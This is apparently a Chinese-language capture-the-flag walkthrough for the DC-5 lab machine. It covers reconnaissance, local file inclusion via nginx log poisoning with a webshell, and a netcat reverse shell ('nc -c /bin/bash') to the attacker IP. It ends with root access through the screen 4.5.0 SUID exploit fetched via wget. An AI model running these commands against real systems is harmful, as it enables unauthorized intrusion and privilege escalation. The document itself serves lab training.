环境搭建
- DC5靶场官网下载:
https://www.five86.com/downloads/DC-5.zip
直接点击下载也可以。 - 直接导入到VMware中,如果报错直接点击重试
- DC5靶场同kali为统一的网络连接方式
- DC5靶场只有最终的flag,提权成功后即可找到flag
信息收集
确定目标IP
使用arp-scan扫描网络,确定靶机IP,使用以下命令
arp-scan -l
靶机IP:192.168.223.132
扫描端口以及服务
使用nmap对靶机进行扫描,确定开启的端口,以及端口对应的服务,使用以下命令
nmap -sV -sC -p- -A 192.168.223.132
指纹识别
尝试访问靶机开放的端口80,是一个网站,可以尝试对靶机进行指纹识别,使用以下命令
whatweb -v http://192.168.223.132
目录爆破
靶机上搭建了一个网站,尝试进行目录爆破,使用以下命令
dirsearch -u 192.168.223.132
dirsearch需要安装
apt-get install dirsearch
网站相关目录:
- http://192.168.223.132/contact.php
- http://192.168.223.132/css
- http://192.168.223.132/faq.php
- http://192.168.223.132/footer.php
- http://192.168.223.132/images
- http://192.168.223.132/index.php
- http://192.168.223.132/thankyou.php
查找漏洞
漏洞扫描
- 使用AWVS扫描靶机,得出扫描结果共有五个漏洞,无法直接利用。
3. 访问网站,尝试手动发现问题,依次尝试信息收集中目录爆破的内容,其中有三个界面不同于其他页面
- http://192.168.223.132/thankyou.php 如图1
- http://192.168.223.132/footer.php 如图2
- http://192.168.223.132/contact.php 如图3
- 验证页面关系,在contact.php页面填入数据提交后转到thankyou.php页面
- 根据下图,怀疑其中footer.php页面大概包含在thankyou.php页面内部,可能存在文件包含漏洞
- 通过contact.php提交数据时,页面跳转,url地址明文传输数据
- 尝试更改参数内容,并重放,并没有找到传参的变量,无法确定传参的变量
- 使用burp爆破传参变量,确定payload位置,使用目录字典点击下载
https://download.csdn.net/download/weixin_46678448/88641382
- 确定了传参的变量:file
- 传入一句话木马使用蚁剑连接,传入一句话木马后返回thankyou.php页面,那么在正常日志文件中有保存
- 通过网上搜索或对nginx的了解得知nginx的日志文件路径为
/var/log/nginx/access.log
,尝试连接:
http://192.168.223.132/thankyou.php?file=/var/log/nginx/access.log
尝试获得shell
- 根据以上操作连接上了靶机内的木马,获得一个普通的webshell
- 查看当前权限,使用nc进行反弹shell,再回车前应在kali中使用nc打开监听
在蚁剑中:
whoami
pwd
进入kali:
nc -lvp 8888
回到蚁剑中:
nc -c /bin/bash 192.168.223.131 8888
- kali监听获得shell
提权
尝试提权方式
- 尝试sudo提权,使用以下命令后,没有结果
sudo -l
- 查看计划任务,使用以下命令查看后,也没有可利用的文件
cat /etc/passwd
- 查找具有suid权限的文件,使用以下命令,有两个比较特殊的文件
find / -perm -u=s -type f 2>/dev/null
- 查看内核版本,使用以下命令查看,版本范围在脏牛漏洞的范围
- 尝试使用内核漏洞扫描脚本,执行脚本后有脏牛漏洞,尝试使用后,提权不成功
漏洞利用提权
- 重新查找suid权限的文件,再次查看两个特殊的文件
find / -perm -u=s -type f 2>/dev/null
- 查看mount.nfs文件,一顿乱码,大概不能用
- 在提权网站上,查到了screen这个提权的命令,但不能使用
- 使用kali搜索是否有相关漏洞,搜索到相关利用脚本,命令如下
searchsploit screen 4.5.0
下载的文件是sh脚本,如果无法直接运行,查看文件内容,手动输入命令,分割文件。
- 将脚本加载到桌面上,开启http上传脚本到靶机上,命令如下
searchsploit -m 41154.sh
python3 -m http.server //开启简单的http服务,上传文件
wget http://192.168.223.131:8000/41154.sh
chmod 777 41154.sh
- 执行脚本,获得root权限
./41154.sh
7. flag
提权成功后直接进入root目录下即可看到flag(图忘记截了,😂)
cd /root
ls
总结
- 文件包含漏洞的利用方法:
通过更改传参的值为木马,使得在日志文件中存在木马,日志文件变为木马文件,然后通过传参的页面连接到日志文件获取webshell
- nc反弹获取shell:
nc -c /bin/bash 攻击机ip 攻击机的监听端口
,nc设置监听:nc -lvp 攻击机的端口
- screen提权:
当通过suid提权查找文件时,对于带有数字类似版本号的文件,可以查找其是否存在漏洞